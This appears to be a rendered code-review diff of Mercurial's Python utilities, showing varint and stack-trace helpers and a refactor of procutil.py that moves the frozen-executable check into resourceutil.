3383 | 3384 | result = func(*args, **kwargs) |
|
3384 | 3385 | stderr = procutil.stderr |
|
3385 | 3386 | stderr.write( |
|
3386 | 3387 | b'%s%s: %s\n' |
|
3387 | 3388 | % ( |
|
3388 | 3389 | b' ' * time_stats.level * 2, |
|
3389 | 3390 | pycompat.bytestr(func.__name__), |
|
3390 | 3391 | time_stats, |
|
3391 | 3392 | ) |
|
3392 | 3393 | ) |
|
3393 | 3394 | return result |
|
3394 | 3395 | |
|
3395 | 3396 | return wrapper |
|
3396 | 3397 | |
|
3397 | 3398 | |
|
3398 | 3399 | _sizeunits = ( |
|
3399 | 3400 | (b'm', 2 ** 20), |
|
3400 | 3401 | (b'k', 2 ** 10), |
|
3401 | 3402 | (b'g', 2 ** 30), |
|
3402 | 3403 | (b'kb', 2 ** 10), |
|
3403 | 3404 | (b'mb', 2 ** 20), |
|
3404 | 3405 | (b'gb', 2 ** 30), |
|
3405 | 3406 | (b'b', 1), |
|
3406 | 3407 | ) |
|
3407 | 3408 | |
|
3408 | 3409 | |
|
3409 | 3410 | def sizetoint(s): |
|
3410 | 3411 | '''Convert a space specifier to a byte count. |
|
3411 | 3412 | |
|
3412 | 3413 | >>> sizetoint(b'30') |
|
3413 | 3414 | 30 |
|
3414 | 3415 | >>> sizetoint(b'2.2kb') |
|
3415 | 3416 | 2252 |
|
3416 | 3417 | >>> sizetoint(b'6M') |
|
3417 | 3418 | 6291456 |
|
3418 | 3419 | ''' |
|
3419 | 3420 | t = s.strip().lower() |
|
3420 | 3421 | try: |
|
3421 | 3422 | for k, u in _sizeunits: |
|
3422 | 3423 | if t.endswith(k): |
|
3423 | 3424 | return int(float(t[: -len(k)]) * u) |
|
3424 | 3425 | return int(t) |
|
3425 | 3426 | except ValueError: |
|
3426 | 3427 | raise error.ParseError(_(b"couldn't parse size: %s") % s) |
|
3427 | 3428 | |
|
3428 | 3429 | |
|
3429 | 3430 | class hooks(object): |
|
3430 | 3431 | '''A collection of hook functions that can be used to extend a |
|
3431 | 3432 | function's behavior. Hooks are called in lexicographic order, |
|
3432 | 3433 | based on the names of their sources.''' |
|
3433 | 3434 | |
|
3434 | 3435 | def __init__(self): |
|
3435 | 3436 | self._hooks = [] |
|
3436 | 3437 | |
|
3437 | 3438 | def add(self, source, hook): |
|
3438 | 3439 | self._hooks.append((source, hook)) |
|
3439 | 3440 | |
|
3440 | 3441 | def __call__(self, *args): |
|
3441 | 3442 | self._hooks.sort(key=lambda x: x[0]) |
|
3442 | 3443 | results = [] |
|
3443 | 3444 | for source, hook in self._hooks: |
|
3444 | 3445 | results.append(hook(*args)) |
|
3445 | 3446 | return results |
|
3446 | 3447 | |
|
3447 | 3448 | |
|
3448 | 3449 | def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0): |
|
3449 | 3450 | '''Yields lines for a nicely formatted stacktrace. |
|
3450 | 3451 | Skips the 'skip' last entries, then return the last 'depth' entries. |
|
3451 | 3452 | Each file+linenumber is formatted according to fileline. |
|
3452 | 3453 | Each line is formatted according to line. |
|
3453 | 3454 | If line is None, it yields: |
|
3454 | 3455 | length of longest filepath+line number, |
|
3455 | 3456 | filepath+linenumber, |
|
3456 | 3457 | function |
|
3457 | 3458 | |
|
3458 | 3459 | Not be used in production code but very convenient while developing. |
|
3459 | 3460 | ''' |
|
3460 | 3461 | entries = [ |
|
3461 | 3462 | (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) |
|
3462 | 3463 | for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1] |
|
3463 | 3464 | ][-depth:] |
|
3464 | 3465 | if entries: |
|
3465 | 3466 | fnmax = max(len(entry[0]) for entry in entries) |
|
3466 | 3467 | for fnln, func in entries: |
|
3467 | 3468 | if line is None: |
|
3468 | 3469 | yield (fnmax, fnln, func) |
|
3469 | 3470 | else: |
|
3470 | 3471 | yield line % (fnmax, fnln, func) |
|
3471 | 3472 | |
|
3472 | 3473 | |
|
3473 | 3474 | def debugstacktrace( |
|
3474 | 3475 | msg=b'stacktrace', |
|
3475 | 3476 | skip=0, |
|
3476 | 3477 | f=procutil.stderr, |
|
3477 | 3478 | otherf=procutil.stdout, |
|
3478 | 3479 | depth=0, |
|
3479 | 3480 | ): |
|
3480 | 3481 | '''Writes a message to f (stderr) with a nicely formatted stacktrace. |
|
3481 | 3482 | Skips the 'skip' entries closest to the call, then show 'depth' entries. |
|
3482 | 3483 | By default it will flush stdout first. |
|
3483 | 3484 | It can be used everywhere and intentionally does not require an ui object. |
|
3484 | 3485 | Not be used in production code but very convenient while developing. |
|
3485 | 3486 | ''' |
|
3486 | 3487 | if otherf: |
|
3487 | 3488 | otherf.flush() |
|
3488 | 3489 | f.write(b'%s at:\n' % msg.rstrip()) |
|
3489 | 3490 | for line in getstackframes(skip + 1, depth=depth): |
|
3490 | 3491 | f.write(line) |
|
3491 | 3492 | f.flush() |
|
3492 | 3493 | |
|
3493 | 3494 | |
|
3494 | 3495 | # convenient shortcut |
|
3495 | 3496 | dst = debugstacktrace |
|
3496 | 3497 | |
|
3497 | 3498 | |
|
3498 | 3499 | def safename(f, tag, ctx, others=None): |
|
3499 | 3500 | """ |
|
3500 | 3501 | Generate a name that it is safe to rename f to in the given context. |
|
3501 | 3502 | |
|
3502 | 3503 | f: filename to rename |
|
3503 | 3504 | tag: a string tag that will be included in the new name |
|
3504 | 3505 | ctx: a context, in which the new name must not exist |
|
3505 | 3506 | others: a set of other filenames that the new name must not be in |
|
3506 | 3507 | |
|
3507 | 3508 | Returns a file name of the form oldname~tag[~number] which does not exist |
|
3508 | 3509 | in the provided context and is not in the set of other names. |
|
3509 | 3510 | """ |
|
3510 | 3511 | if others is None: |
|
3511 | 3512 | others = set() |
|
3512 | 3513 | |
|
3513 | 3514 | fn = b'%s~%s' % (f, tag) |
|
3514 | 3515 | if fn not in ctx and fn not in others: |
|
3515 | 3516 | return fn |
|
3516 | 3517 | for n in itertools.count(1): |
|
3517 | 3518 | fn = b'%s~%s~%s' % (f, tag, n) |
|
3518 | 3519 | if fn not in ctx and fn not in others: |
|
3519 | 3520 | return fn |
|
3520 | 3521 | |
|
3521 | 3522 | |
|
3522 | 3523 | def readexactly(stream, n): |
|
3523 | 3524 | '''read n bytes from stream.read and abort if less was available''' |
|
3524 | 3525 | s = stream.read(n) |
|
3525 | 3526 | if len(s) < n: |
|
3526 | 3527 | raise error.Abort( |
|
3527 | 3528 | _(b"stream ended unexpectedly (got %d bytes, expected %d)") |
|
3528 | 3529 | % (len(s), n) |
|
3529 | 3530 | ) |
|
3530 | 3531 | return s |
|
3531 | 3532 | |
|
3532 | 3533 | |
|
3533 | 3534 | def uvarintencode(value): |
|
3534 | 3535 | """Encode an unsigned integer value to a varint. |
|
3535 | 3536 | |
|
3536 | 3537 | A varint is a variable length integer of 1 or more bytes. Each byte |
|
3537 | 3538 | except the last has the most significant bit set. The lower 7 bits of |
|
3538 | 3539 | each byte store the 2's complement representation, least significant group |
|
3539 | 3540 | first. |
|
3540 | 3541 | |
|
3541 | 3542 | >>> uvarintencode(0) |
|
3542 | 3543 | '\\x00' |
|
3543 | 3544 | >>> uvarintencode(1) |
|
3544 | 3545 | '\\x01' |
|
3545 | 3546 | >>> uvarintencode(127) |
|
3546 | 3547 | '\\x7f' |
|
3547 | 3548 | >>> uvarintencode(1337) |
|
3548 | 3549 | '\\xb9\\n' |
|
3549 | 3550 | >>> uvarintencode(65536) |
|
3550 | 3551 | '\\x80\\x80\\x04' |
|
3551 | 3552 | >>> uvarintencode(-1) |
|
3552 | 3553 | Traceback (most recent call last): |
|
3553 | 3554 | ... |
|
3554 | 3555 | ProgrammingError: negative value for uvarint: -1 |
|
3555 | 3556 | """ |
|
3556 | 3557 | if value < 0: |
|
3557 | 3558 | raise error.ProgrammingError(b'negative value for uvarint: %d' % value) |
|
3558 | 3559 | bits = value & 0x7F |
|
3559 | 3560 | value >>= 7 |
|
3560 | 3561 | bytes = [] |
|
3561 | 3562 | while value: |
|
3562 | 3563 | bytes.append(pycompat.bytechr(0x80 | bits)) |
|
3563 | 3564 | bits = value & 0x7F |
|
3564 | 3565 | value >>= 7 |
|
3565 | 3566 | bytes.append(pycompat.bytechr(bits)) |
|
3566 | 3567 | |
|
3567 | 3568 | return b''.join(bytes) |
|
3568 | 3569 | |
|
3569 | 3570 | |
|
3570 | 3571 | def uvarintdecodestream(fh): |
|
3571 | 3572 | """Decode an unsigned variable length integer from a stream. |
|
3572 | 3573 | |
|
3573 | 3574 | The passed argument is anything that has a ``.read(N)`` method. |
|
3574 | 3575 | |
|
3575 | 3576 | >>> try: |
|
3576 | 3577 | ... from StringIO import StringIO as BytesIO |
|
3577 | 3578 | ... except ImportError: |
|
3578 | 3579 | ... from io import BytesIO |
|
3579 | 3580 | >>> uvarintdecodestream(BytesIO(b'\\x00')) |
|
3580 | 3581 | 0 |
|
3581 | 3582 | >>> uvarintdecodestream(BytesIO(b'\\x01')) |
|
3582 | 3583 | 1 |
|
3583 | 3584 | >>> uvarintdecodestream(BytesIO(b'\\x7f')) |
|
3584 | 3585 | 127 |
|
3585 | 3586 | >>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) |
|
3586 | 3587 | 1337 |
|
3587 | 3588 | >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) |
|
3588 | 3589 | 65536 |
|
3589 | 3590 | >>> uvarintdecodestream(BytesIO(b'\\x80')) |
|
3590 | 3591 | Traceback (most recent call last): |
|
3591 | 3592 | ... |
|
3592 | 3593 | Abort: stream ended unexpectedly (got 0 bytes, expected 1) |
|
3593 | 3594 | """ |
|
3594 | 3595 | result = 0 |
|
3595 | 3596 | shift = 0 |
|
3596 | 3597 | while True: |
|
3597 | 3598 | byte = ord(readexactly(fh, 1)) |
|
3598 | 3599 | result |= (byte & 0x7F) << shift |
|
3599 | 3600 | if not (byte & 0x80): |
|
3600 | 3601 | return result |
|
3601 | 3602 | shift += 7 |
@@ -1,637 +1,626 b'' | |||
|
1 | 1 | # procutil.py - utility for managing processes and executable environment |
|
2 | 2 | # |
|
3 | 3 | # Copyright 2005 K. Thananchayan <thananck@yahoo.com> |
|
4 | 4 | # Copyright 2005-2007 Matt Mackall <mpm@selenic.com> |
|
5 | 5 | # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com> |
|
6 | 6 | # |
|
7 | 7 | # This software may be used and distributed according to the terms of the |
|
8 | 8 | # GNU General Public License version 2 or any later version. |
|
9 | 9 | |
|
10 | 10 | from __future__ import absolute_import |
|
11 | 11 | |
|
12 | 12 | import contextlib |
|
13 | 13 | import errno |
|
14 | import imp | |
|
15 | 14 | import io |
|
16 | 15 | import os |
|
17 | 16 | import signal |
|
18 | 17 | import subprocess |
|
19 | 18 | import sys |
|
20 | 19 | import time |
|
21 | 20 | |
|
22 | 21 | from ..i18n import _ |
|
23 | 22 | from ..pycompat import ( |
|
24 | 23 | getattr, |
|
25 | 24 | open, |
|
26 | 25 | ) |
|
27 | 26 | |
|
28 | 27 | from .. import ( |
|
29 | 28 | encoding, |
|
30 | 29 | error, |
|
31 | 30 | policy, |
|
32 | 31 | pycompat, |
|
33 | 32 | ) |
|
34 | 33 | |
|
34 | # Import like this to keep import-checker happy | |
|
35 | from ..utils import resourceutil | |
|
36 | ||
|
35 | 37 | osutil = policy.importmod('osutil') |
|
36 | 38 | |
|
37 | 39 | stderr = pycompat.stderr |
|
38 | 40 | stdin = pycompat.stdin |
|
39 | 41 | stdout = pycompat.stdout |
|
40 | 42 | |
|
41 | 43 | |
|
42 | 44 | def isatty(fp): |
|
43 | 45 | try: |
|
44 | 46 | return fp.isatty() |
|
45 | 47 | except AttributeError: |
|
46 | 48 | return False |
|
47 | 49 | |
|
48 | 50 | |
|
49 | 51 | # glibc determines buffering on first write to stdout - if we replace a TTY |
|
50 | 52 | # destined stdout with a pipe destined stdout (e.g. pager), we want line |
|
51 | 53 | # buffering (or unbuffered, on Windows) |
|
52 | 54 | if isatty(stdout): |
|
53 | 55 | if pycompat.iswindows: |
|
54 | 56 | # Windows doesn't support line buffering |
|
55 | 57 | stdout = os.fdopen(stdout.fileno(), 'wb', 0) |
|
56 | 58 | elif not pycompat.ispy3: |
|
57 | 59 | # on Python 3, stdout (sys.stdout.buffer) is already line buffered and |
|
58 | 60 | # buffering=1 is not handled in binary mode |
|
59 | 61 | stdout = os.fdopen(stdout.fileno(), 'wb', 1) |
|
60 | 62 | |
|
61 | 63 | if pycompat.iswindows: |
|
62 | 64 | from .. import windows as platform |
|
63 | 65 | |
|
64 | 66 | stdout = platform.winstdout(stdout) |
|
65 | 67 | else: |
|
66 | 68 | from .. import posix as platform |
|
67 | 69 | |
|
68 | 70 | findexe = platform.findexe |
|
69 | 71 | _gethgcmd = platform.gethgcmd |
|
70 | 72 | getuser = platform.getuser |
|
71 | 73 | getpid = os.getpid |
|
72 | 74 | hidewindow = platform.hidewindow |
|
73 | 75 | quotecommand = platform.quotecommand |
|
74 | 76 | readpipe = platform.readpipe |
|
75 | 77 | setbinary = platform.setbinary |
|
76 | 78 | setsignalhandler = platform.setsignalhandler |
|
77 | 79 | shellquote = platform.shellquote |
|
78 | 80 | shellsplit = platform.shellsplit |
|
79 | 81 | spawndetached = platform.spawndetached |
|
80 | 82 | sshargs = platform.sshargs |
|
81 | 83 | testpid = platform.testpid |
|
82 | 84 | |
|
83 | 85 | try: |
|
84 | 86 | setprocname = osutil.setprocname |
|
85 | 87 | except AttributeError: |
|
86 | 88 | pass |
|
87 | 89 | try: |
|
88 | 90 | unblocksignal = osutil.unblocksignal |
|
89 | 91 | except AttributeError: |
|
90 | 92 | pass |
|
91 | 93 | |
|
92 | 94 | closefds = pycompat.isposix |
|
93 | 95 | |
|
94 | 96 | |
|
95 | 97 | def explainexit(code): |
|
96 | 98 | """return a message describing a subprocess status |
|
97 | 99 | (codes from kill are negative - not os.system/wait encoding)""" |
|
98 | 100 | if code >= 0: |
|
99 | 101 | return _(b"exited with status %d") % code |
|
100 | 102 | return _(b"killed by signal %d") % -code |
|
101 | 103 | |
|
102 | 104 | |
|
103 | 105 | class _pfile(object): |
|
104 | 106 | """File-like wrapper for a stream opened by subprocess.Popen()""" |
|
105 | 107 | |
|
106 | 108 | def __init__(self, proc, fp): |
|
107 | 109 | self._proc = proc |
|
108 | 110 | self._fp = fp |
|
109 | 111 | |
|
110 | 112 | def close(self): |
|
111 | 113 | # unlike os.popen(), this returns an integer in subprocess coding |
|
112 | 114 | self._fp.close() |
|
113 | 115 | return self._proc.wait() |
|
114 | 116 | |
|
115 | 117 | def __iter__(self): |
|
116 | 118 | return iter(self._fp) |
|
117 | 119 | |
|
118 | 120 | def __getattr__(self, attr): |
|
119 | 121 | return getattr(self._fp, attr) |
|
120 | 122 | |
|
121 | 123 | def __enter__(self): |
|
122 | 124 | return self |
|
123 | 125 | |
|
124 | 126 | def __exit__(self, exc_type, exc_value, exc_tb): |
|
125 | 127 | self.close() |
|
126 | 128 | |
|
127 | 129 | |
|
128 | 130 | def popen(cmd, mode=b'rb', bufsize=-1): |
|
129 | 131 | if mode == b'rb': |
|
130 | 132 | return _popenreader(cmd, bufsize) |
|
131 | 133 | elif mode == b'wb': |
|
132 | 134 | return _popenwriter(cmd, bufsize) |
|
133 | 135 | raise error.ProgrammingError(b'unsupported mode: %r' % mode) |
|
134 | 136 | |
|
135 | 137 | |
|
136 | 138 | def _popenreader(cmd, bufsize): |
|
137 | 139 | p = subprocess.Popen( |
|
138 | 140 | tonativestr(quotecommand(cmd)), |
|
139 | 141 | shell=True, |
|
140 | 142 | bufsize=bufsize, |
|
141 | 143 | close_fds=closefds, |
|
142 | 144 | stdout=subprocess.PIPE, |
|
143 | 145 | ) |
|
144 | 146 | return _pfile(p, p.stdout) |
|
145 | 147 | |
|
146 | 148 | |
|
147 | 149 | def _popenwriter(cmd, bufsize): |
|
148 | 150 | p = subprocess.Popen( |
|
149 | 151 | tonativestr(quotecommand(cmd)), |
|
150 | 152 | shell=True, |
|
151 | 153 | bufsize=bufsize, |
|
152 | 154 | close_fds=closefds, |
|
153 | 155 | stdin=subprocess.PIPE, |
|
154 | 156 | ) |
|
155 | 157 | return _pfile(p, p.stdin) |
|
156 | 158 | |
|
157 | 159 | |
|
158 | 160 | def popen2(cmd, env=None): |
|
159 | 161 | # Setting bufsize to -1 lets the system decide the buffer size. |
|
160 | 162 | # The default for bufsize is 0, meaning unbuffered. This leads to |
|
161 | 163 | # poor performance on Mac OS X: http://bugs.python.org/issue4194 |
|
162 | 164 | p = subprocess.Popen( |
|
163 | 165 | tonativestr(cmd), |
|
164 | 166 | shell=True, |
|
165 | 167 | bufsize=-1, |
|
166 | 168 | close_fds=closefds, |
|
167 | 169 | stdin=subprocess.PIPE, |
|
168 | 170 | stdout=subprocess.PIPE, |
|
169 | 171 | env=tonativeenv(env), |
|
170 | 172 | ) |
|
171 | 173 | return p.stdin, p.stdout |
|
172 | 174 | |
|
173 | 175 | |
|
174 | 176 | def popen3(cmd, env=None): |
|
175 | 177 | stdin, stdout, stderr, p = popen4(cmd, env) |
|
176 | 178 | return stdin, stdout, stderr |
|
177 | 179 | |
|
178 | 180 | |
|
179 | 181 | def popen4(cmd, env=None, bufsize=-1): |
|
180 | 182 | p = subprocess.Popen( |
|
181 | 183 | tonativestr(cmd), |
|
182 | 184 | shell=True, |
|
183 | 185 | bufsize=bufsize, |
|
184 | 186 | close_fds=closefds, |
|
185 | 187 | stdin=subprocess.PIPE, |
|
186 | 188 | stdout=subprocess.PIPE, |
|
187 | 189 | stderr=subprocess.PIPE, |
|
188 | 190 | env=tonativeenv(env), |
|
189 | 191 | ) |
|
190 | 192 | return p.stdin, p.stdout, p.stderr, p |
|
191 | 193 | |
|
192 | 194 | |
|
193 | 195 | def pipefilter(s, cmd): |
|
194 | 196 | '''filter string S through command CMD, returning its output''' |
|
195 | 197 | p = subprocess.Popen( |
|
196 | 198 | tonativestr(cmd), |
|
197 | 199 | shell=True, |
|
198 | 200 | close_fds=closefds, |
|
199 | 201 | stdin=subprocess.PIPE, |
|
200 | 202 | stdout=subprocess.PIPE, |
|
201 | 203 | ) |
|
202 | 204 | pout, perr = p.communicate(s) |
|
203 | 205 | return pout |
|
204 | 206 | |
|
205 | 207 | |
|
206 | 208 | def tempfilter(s, cmd): |
|
207 | 209 | '''filter string S through a pair of temporary files with CMD. |
|
208 | 210 | CMD is used as a template to create the real command to be run, |
|
209 | 211 | with the strings INFILE and OUTFILE replaced by the real names of |
|
210 | 212 | the temporary files generated.''' |
|
211 | 213 | inname, outname = None, None |
|
212 | 214 | try: |
|
213 | 215 | infd, inname = pycompat.mkstemp(prefix=b'hg-filter-in-') |
|
214 | 216 | fp = os.fdopen(infd, 'wb') |
|
215 | 217 | fp.write(s) |
|
216 | 218 | fp.close() |
|
217 | 219 | outfd, outname = pycompat.mkstemp(prefix=b'hg-filter-out-') |
|
218 | 220 | os.close(outfd) |
|
219 | 221 | cmd = cmd.replace(b'INFILE', inname) |
|
220 | 222 | cmd = cmd.replace(b'OUTFILE', outname) |
|
221 | 223 | code = system(cmd) |
|
222 | 224 | if pycompat.sysplatform == b'OpenVMS' and code & 1: |
|
223 | 225 | code = 0 |
|
224 | 226 | if code: |
|
225 | 227 | raise error.Abort( |
|
226 | 228 | _(b"command '%s' failed: %s") % (cmd, explainexit(code)) |
|
227 | 229 | ) |
|
228 | 230 | with open(outname, b'rb') as fp: |
|
229 | 231 | return fp.read() |
|
230 | 232 | finally: |
|
231 | 233 | try: |
|
232 | 234 | if inname: |
|
233 | 235 | os.unlink(inname) |
|
234 | 236 | except OSError: |
|
235 | 237 | pass |
|
236 | 238 | try: |
|
237 | 239 | if outname: |
|
238 | 240 | os.unlink(outname) |
|
239 | 241 | except OSError: |
|
240 | 242 | pass |
|
241 | 243 | |
|
242 | 244 | |
|
243 | 245 | _filtertable = { |
|
244 | 246 | b'tempfile:': tempfilter, |
|
245 | 247 | b'pipe:': pipefilter, |
|
246 | 248 | } |
|
247 | 249 | |
|
248 | 250 | |
|
249 | 251 | def filter(s, cmd): |
|
250 | 252 | b"filter a string through a command that transforms its input to its output" |
|
251 | 253 | for name, fn in pycompat.iteritems(_filtertable): |
|
252 | 254 | if cmd.startswith(name): |
|
253 | 255 | return fn(s, cmd[len(name) :].lstrip()) |
|
254 | 256 | return pipefilter(s, cmd) |
|
255 | 257 | |
|
256 | 258 | |
|
257 | def mainfrozen(): | |
|
258 | """return True if we are a frozen executable. | |
|
259 | ||
|
260 | The code supports py2exe (most common, Windows only) and tools/freeze | |
|
261 | (portable, not much used). | |
|
262 | """ | |
|
263 | return ( | |
|
264 | pycompat.safehasattr(sys, "frozen") | |
|
265 | or pycompat.safehasattr(sys, "importers") # new py2exe | |
|
266 | or imp.is_frozen("__main__") # old py2exe | |
|
267 | ) # tools/freeze | |
|
268 | ||
|
269 | ||
|
270 | 259 | _hgexecutable = None |
|
271 | 260 | |
|
272 | 261 | |
|
273 | 262 | def hgexecutable(): |
|
274 | 263 | """return location of the 'hg' executable. |
|
275 | 264 | |
|
276 | 265 | Defaults to $HG or 'hg' in the search path. |
|
277 | 266 | """ |
|
278 | 267 | if _hgexecutable is None: |
|
279 | 268 | hg = encoding.environ.get(b'HG') |
|
280 | 269 | mainmod = sys.modules['__main__'] |
|
281 | 270 | if hg: |
|
282 | 271 | _sethgexecutable(hg) |
|
283 | elif mainfrozen(): | |
|
272 | elif resourceutil.mainfrozen(): | |
|
284 | 273 | if getattr(sys, 'frozen', None) == 'macosx_app': |
|
285 | 274 | # Env variable set by py2app |
|
286 | 275 | _sethgexecutable(encoding.environ[b'EXECUTABLEPATH']) |
|
287 | 276 | else: |
|
288 | 277 | _sethgexecutable(pycompat.sysexecutable) |
|
289 | 278 | elif ( |
|
290 | 279 | not pycompat.iswindows |
|
291 | 280 | and os.path.basename(getattr(mainmod, '__file__', '')) == 'hg' |
|
292 | 281 | ): |
|
293 | 282 | _sethgexecutable(pycompat.fsencode(mainmod.__file__)) |
|
294 | 283 | else: |
|
295 | 284 | _sethgexecutable( |
|
296 | 285 | findexe(b'hg') or os.path.basename(pycompat.sysargv[0]) |
|
297 | 286 | ) |
|
298 | 287 | return _hgexecutable |
|
299 | 288 | |
|
300 | 289 | |
|
301 | 290 | def _sethgexecutable(path): |
|
302 | 291 | """set location of the 'hg' executable""" |
|
303 | 292 | global _hgexecutable |
|
304 | 293 | _hgexecutable = path |
|
305 | 294 | |
|
306 | 295 | |
|
307 | 296 | def _testfileno(f, stdf): |
|
308 | 297 | fileno = getattr(f, 'fileno', None) |
|
309 | 298 | try: |
|
310 | 299 | return fileno and fileno() == stdf.fileno() |
|
311 | 300 | except io.UnsupportedOperation: |
|
312 | 301 | return False # fileno() raised UnsupportedOperation |
|
313 | 302 | |
|
314 | 303 | |
|
315 | 304 | def isstdin(f): |
|
316 | 305 | return _testfileno(f, sys.__stdin__) |
|
317 | 306 | |
|
318 | 307 | |
|
319 | 308 | def isstdout(f): |
|
320 | 309 | return _testfileno(f, sys.__stdout__) |
|
321 | 310 | |
|
322 | 311 | |
|
323 | 312 | def protectstdio(uin, uout): |
|
324 | 313 | """Duplicate streams and redirect original if (uin, uout) are stdio |
|
325 | 314 | |
|
326 | 315 | If uin is stdin, it's redirected to /dev/null. If uout is stdout, it's |
|
327 | 316 | redirected to stderr so the output is still readable. |
|
328 | 317 | |
|
329 | 318 | Returns (fin, fout) which point to the original (uin, uout) fds, but |
|
330 | 319 | may be copy of (uin, uout). The returned streams can be considered |
|
331 | 320 | "owned" in that print(), exec(), etc. never reach to them. |
|
332 | 321 | """ |
|
333 | 322 | uout.flush() |
|
334 | 323 | fin, fout = uin, uout |
|
335 | 324 | if _testfileno(uin, stdin): |
|
336 | 325 | newfd = os.dup(uin.fileno()) |
|
337 | 326 | nullfd = os.open(os.devnull, os.O_RDONLY) |
|
338 | 327 | os.dup2(nullfd, uin.fileno()) |
|
339 | 328 | os.close(nullfd) |
|
340 | 329 | fin = os.fdopen(newfd, 'rb') |
|
341 | 330 | if _testfileno(uout, stdout): |
|
342 | 331 | newfd = os.dup(uout.fileno()) |
|
343 | 332 | os.dup2(stderr.fileno(), uout.fileno()) |
|
344 | 333 | fout = os.fdopen(newfd, 'wb') |
|
345 | 334 | return fin, fout |
|
346 | 335 | |
|
347 | 336 | |
|
348 | 337 | def restorestdio(uin, uout, fin, fout): |
|
349 | 338 | """Restore (uin, uout) streams from possibly duplicated (fin, fout)""" |
|
350 | 339 | uout.flush() |
|
351 | 340 | for f, uif in [(fin, uin), (fout, uout)]: |
|
352 | 341 | if f is not uif: |
|
353 | 342 | os.dup2(f.fileno(), uif.fileno()) |
|
354 | 343 | f.close() |
|
355 | 344 | |
|
356 | 345 | |
|
357 | 346 | def shellenviron(environ=None): |
|
358 | 347 | """return environ with optional override, useful for shelling out""" |
|
359 | 348 | |
|
360 | 349 | def py2shell(val): |
|
361 | 350 | b'convert python object into string that is useful to shell' |
|
362 | 351 | if val is None or val is False: |
|
363 | 352 | return b'0' |
|
364 | 353 | if val is True: |
|
365 | 354 | return b'1' |
|
366 | 355 | return pycompat.bytestr(val) |
|
367 | 356 | |
|
368 | 357 | env = dict(encoding.environ) |
|
369 | 358 | if environ: |
|
370 | 359 | env.update((k, py2shell(v)) for k, v in pycompat.iteritems(environ)) |
|
371 | 360 | env[b'HG'] = hgexecutable() |
|
372 | 361 | return env |
|
373 | 362 | |
|
374 | 363 | |
|
375 | 364 | if pycompat.iswindows: |
|
376 | 365 | |
|
377 | 366 | def shelltonative(cmd, env): |
|
378 | 367 | return platform.shelltocmdexe( # pytype: disable=module-attr |
|
379 | 368 | cmd, shellenviron(env) |
|
380 | 369 | ) |
|
381 | 370 | |
|
382 | 371 | tonativestr = encoding.strfromlocal |
|
383 | 372 | else: |
|
384 | 373 | |
|
385 | 374 | def shelltonative(cmd, env): |
|
386 | 375 | return cmd |
|
387 | 376 | |
|
388 | 377 | tonativestr = pycompat.identity |
|
389 | 378 | |
|
390 | 379 | |
|
391 | 380 | def tonativeenv(env): |
|
392 | 381 | '''convert the environment from bytes to strings suitable for Popen(), etc. |
|
393 | 382 | ''' |
|
394 | 383 | return pycompat.rapply(tonativestr, env) |
|
395 | 384 | |
|
396 | 385 | |
|
397 | 386 | def system(cmd, environ=None, cwd=None, out=None): |
|
398 | 387 | '''enhanced shell command execution. |
|
399 | 388 | run with environment maybe modified, maybe in different dir. |
|
400 | 389 | |
|
401 | 390 | if out is specified, it is assumed to be a file-like object that has a |
|
402 | 391 | write() method. stdout and stderr will be redirected to out.''' |
|
403 | 392 | try: |
|
404 | 393 | stdout.flush() |
|
405 | 394 | except Exception: |
|
406 | 395 | pass |
|
407 | 396 | cmd = quotecommand(cmd) |
|
408 | 397 | env = shellenviron(environ) |
|
409 | 398 | if out is None or isstdout(out): |
|
410 | 399 | rc = subprocess.call( |
|
411 | 400 | tonativestr(cmd), |
|
412 | 401 | shell=True, |
|
413 | 402 | close_fds=closefds, |
|
414 | 403 | env=tonativeenv(env), |
|
415 | 404 | cwd=pycompat.rapply(tonativestr, cwd), |
|
416 | 405 | ) |
|
417 | 406 | else: |
|
418 | 407 | proc = subprocess.Popen( |
|
419 | 408 | tonativestr(cmd), |
|
420 | 409 | shell=True, |
|
421 | 410 | close_fds=closefds, |
|
422 | 411 | env=tonativeenv(env), |
|
423 | 412 | cwd=pycompat.rapply(tonativestr, cwd), |
|
424 | 413 | stdout=subprocess.PIPE, |
|
425 | 414 | stderr=subprocess.STDOUT, |
|
426 | 415 | ) |
|
427 | 416 | for line in iter(proc.stdout.readline, b''): |
|
428 | 417 | out.write(line) |
|
429 | 418 | proc.wait() |
|
430 | 419 | rc = proc.returncode |
|
431 | 420 | if pycompat.sysplatform == b'OpenVMS' and rc & 1: |
|
432 | 421 | rc = 0 |
|
433 | 422 | return rc |
|
434 | 423 | |
|
435 | 424 | |
|
436 | 425 | def gui(): |
|
437 | 426 | '''Are we running in a GUI?''' |
|
438 | 427 | if pycompat.isdarwin: |
|
439 | 428 | if b'SSH_CONNECTION' in encoding.environ: |
|
440 | 429 | # handle SSH access to a box where the user is logged in |
|
441 | 430 | return False |
|
442 | 431 | elif getattr(osutil, 'isgui', None): |
|
443 | 432 | # check if a CoreGraphics session is available |
|
444 | 433 | return osutil.isgui() |
|
445 | 434 | else: |
|
446 | 435 | # pure build; use a safe default |
|
447 | 436 | return True |
|
448 | 437 | else: |
|
449 | 438 | return pycompat.iswindows or encoding.environ.get(b"DISPLAY") |
|
450 | 439 | |
|
451 | 440 | |
|
452 | 441 | def hgcmd(): |
|
453 | 442 | """Return the command used to execute current hg |
|
454 | 443 | |
|
455 | 444 | This is different from hgexecutable() because on Windows we want |
|
456 | 445 | to avoid things opening new shell windows like batch files, so we |
|
457 | 446 | get either the python call or current executable. |
|
458 | 447 | """ |
|
459 | if mainfrozen(): | |
|
448 | if resourceutil.mainfrozen(): | |
|
460 | 449 | if getattr(sys, 'frozen', None) == 'macosx_app': |
|
461 | 450 | # Env variable set by py2app |
|
462 | 451 | return [encoding.environ[b'EXECUTABLEPATH']] |
|
463 | 452 | else: |
|
464 | 453 | return [pycompat.sysexecutable] |
|
465 | 454 | return _gethgcmd() |
|
466 | 455 | |
|
467 | 456 | |
|
468 | 457 | def rundetached(args, condfn): |
|
469 | 458 | """Execute the argument list in a detached process. |
|
470 | 459 | |
|
471 | 460 | condfn is a callable which is called repeatedly and should return |
|
472 | 461 | True once the child process is known to have started successfully. |
|
473 | 462 | At this point, the child process PID is returned. If the child |
|
474 | 463 | process fails to start or finishes before condfn() evaluates to |
|
475 | 464 | True, return -1. |
|
476 | 465 | """ |
|
